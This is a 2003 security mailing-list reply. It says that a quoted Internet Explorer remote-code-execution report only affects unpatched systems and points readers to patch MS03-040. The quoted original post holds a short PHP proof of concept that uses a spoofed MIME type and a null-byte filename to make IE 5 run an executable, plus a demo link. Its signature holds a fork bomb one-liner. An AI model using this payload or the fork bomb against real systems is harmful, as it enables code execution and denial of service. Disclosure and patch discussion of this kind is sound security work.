From: Thor Larholm (thorpivx.com)
Date: Mon Oct 20 2003 - 13:42:35 CDT

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A default Windows 98SE installation is several years behind in patches.

This does not reproduce on any IE browser that has been patched the last
year or so.

If in doubt about your IE patch level apply the latest cumulative patch
MS03-040, which can be found at

http://www.microsoft.com/technet/security/bulletin/MS03-040.asp

Regards
Thor Larholm
PivX Solutions, LLC - Senior Security Researcher
http://pivx/com/larholm/ - Get our research, join our mailinglist

-----Original Message-----
From: Marcin Ulikowski [mailto:r3b00ttx.pl]
Sent: Saturday, October 18, 2003 3:16 PM
To: bugtraqsecurityfocus.com
Subject: IE remote code execution

This code can execute any code remotely using IE - as you can see very
simple.

// for IE 5, tested on default Windows 98SE installation
<?php
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
readfile("code.exe"); ?> <noscript>

Here you have a demo:
http://r3b00t.tx.pl/iexec5.php

Can we expect more surprises like this one?

--
------------------------------
r3b00t ~ [http://r3b00t.tx.pl]
just do main(){for(;;)fork();}
------------------------------

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